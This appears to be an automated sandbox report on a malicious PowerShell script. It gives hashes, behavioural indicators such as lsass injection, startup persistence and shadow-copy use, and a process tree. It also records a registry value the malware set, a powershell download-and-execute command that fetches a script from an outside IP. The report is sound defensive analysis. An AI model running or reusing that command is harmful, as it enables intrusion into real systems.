31f8eac9c9a438dbcb6afb93f4204e3683af3eba6e96639d264affa1982f808c

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2024, 12:52

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General

Target

one.ps1
Size

339B
MD5

d039357ecb9f20cb86877b50ccae3c0e
SHA1

e35209cfc6ff1d169f06f27f09a9f3a0c8015a79
SHA256

31f8eac9c9a438dbcb6afb93f4204e3683af3eba6e96639d264affa1982f808c
SHA512

500d86437a34f834e3ebd13060736c3be74d3fde684c67eda08f032732cd2c6ed74fcab9eda1c992af99348ea7f01311fd405eab205d022e9468049a484bbc75

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	3800	powershell.exe
18	4360	msiexec.exe
25	4360	msiexec.exe
26	4360	msiexec.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CompMgmtLauncher.lnk	InstallSrv.exe

Executes dropped EXE 1 IoCs

pid	Process
5096	InstallSrv.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 5096 set thread context of 684	5096	InstallSrv.exe	1
PID 5096 set thread context of 684	5096	InstallSrv.exe	1
PID 5096 set thread context of 684	5096	InstallSrv.exe	1
PID 5096 set thread context of 684	5096	InstallSrv.exe	1
PID 5096 set thread context of 684	5096	InstallSrv.exe	1
PID 5096 set thread context of 4360	5096	InstallSrv.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\mscfile\Shell	InstallSrv.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\mscfile\Shell\Open	InstallSrv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\mscfile\Shell\Open\Command\ = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://27.102.132.19/one.ps1')"	InstallSrv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ColorTableU = "C:\\Users\\Admin\\InstallSrv.exe"	InstallSrv.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\mscfile\Shell\Open\Command	InstallSrv.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\mscfile	InstallSrv.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
5096	InstallSrv.exe
5096	InstallSrv.exe
5096	InstallSrv.exe
5096	InstallSrv.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe
684	lsass.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	5096	InstallSrv.exe
Token: SeDebugPrivilege	684	lsass.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	684	lsass.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4360	msiexec.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 5096	3800	powershell.exe	93
PID 3800 wrote to memory of 5096	3800	powershell.exe	93
PID 5096 wrote to memory of 684	5096	InstallSrv.exe	1
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 5096 wrote to memory of 2132	5096	InstallSrv.exe	96
PID 5096 wrote to memory of 2132	5096	InstallSrv.exe	96
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 5096 wrote to memory of 4360	5096	InstallSrv.exe	97
PID 5096 wrote to memory of 4360	5096	InstallSrv.exe	97
PID 5096 wrote to memory of 4360	5096	InstallSrv.exe	97
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 684 wrote to memory of 2812	684	lsass.exe	24
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 1200	684	lsass.exe	99
PID 684 wrote to memory of 2812	684	lsass.exe	24

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:684

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\one.ps1
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Users\Admin\InstallSrv.exe
  "C:\Users\Admin\InstallSrv.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2132
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe
    3⤵
    - Blocklisted process makes network request
    - Enumerates connected drives
    - Suspicious use of SetWindowsHookEx
    PID:4360

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpswiuru.b0k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\InstallSrv.exe

Filesize
650KB

MD5
8bbf3ecf48c79c584390f6a83a0b828d

SHA1
30a018a46b9c610435de05ce8d93aa1ec0252d61

SHA256
b183a395846a2a30c8bf78b4e9dd69643c22d019e8389885412dc59ece904ec8

SHA512
84d6cbea31a14fc0cf9d38476bb5705aa8269c3b0f221544eeb62c5118feb2208d63359f04067154553bd63e77a4b7f62ecaf6d2b3c2e5e5f32ae692958d22d4

Download Submit
memory/684-70-0x000001A5CE110000-0x000001A5CE119000-memory.dmp

Filesize
36KB

Download
memory/684-32-0x000001A5CE0E0000-0x000001A5CE0E5000-memory.dmp

Filesize
20KB

Download
memory/684-33-0x000001A5CE100000-0x000001A5CE109000-memory.dmp

Filesize
36KB

Download
memory/2132-49-0x000002257F820000-0x000002257F864000-memory.dmp

Filesize
272KB

Download
memory/2132-37-0x0000022518660000-0x0000022518670000-memory.dmp

Filesize
64KB

Download
memory/2132-35-0x00007FFB99AA0000-0x00007FFB9A561000-memory.dmp

Filesize
10.8MB

Download
memory/2132-36-0x0000022518660000-0x0000022518670000-memory.dmp

Filesize
64KB

Download
memory/2132-50-0x000002257F8F0000-0x000002257F966000-memory.dmp

Filesize
472KB

Download
memory/2132-51-0x0000022518660000-0x0000022518670000-memory.dmp

Filesize
64KB

Download
memory/2132-52-0x0000022518660000-0x0000022518670000-memory.dmp

Filesize
64KB

Download
memory/2132-54-0x00007FFB99AA0000-0x00007FFB9A561000-memory.dmp

Filesize
10.8MB

Download
memory/3800-31-0x00007FFB99AA0000-0x00007FFB9A561000-memory.dmp

Filesize
10.8MB

Download
memory/3800-5-0x00000228DFDE0000-0x00000228DFE02000-memory.dmp

Filesize
136KB

Download
memory/3800-10-0x00007FFB99AA0000-0x00007FFB9A561000-memory.dmp

Filesize
10.8MB

Download
memory/3800-11-0x00000228F83D0000-0x00000228F83E0000-memory.dmp

Filesize
64KB

Download
memory/4360-56-0x000001F1C5330000-0x000001F1C53B1000-memory.dmp

Filesize
516KB

Download
memory/4360-57-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-55-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-59-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-58-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-61-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-60-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-63-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-62-0x000001F1C5930000-0x000001F1C5977000-memory.dmp

Filesize
284KB

Download
memory/4360-64-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-66-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-65-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-67-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-68-0x000001F1C53C0000-0x000001F1C53E9000-memory.dmp

Filesize
164KB

Download
memory/4360-69-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-39-0x000001F1C38B0000-0x000001F1C38B1000-memory.dmp

Filesize
4KB

Download
memory/4360-71-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download
memory/4360-72-0x000001F1C5980000-0x000001F1C59CE000-memory.dmp

Filesize
312KB

Download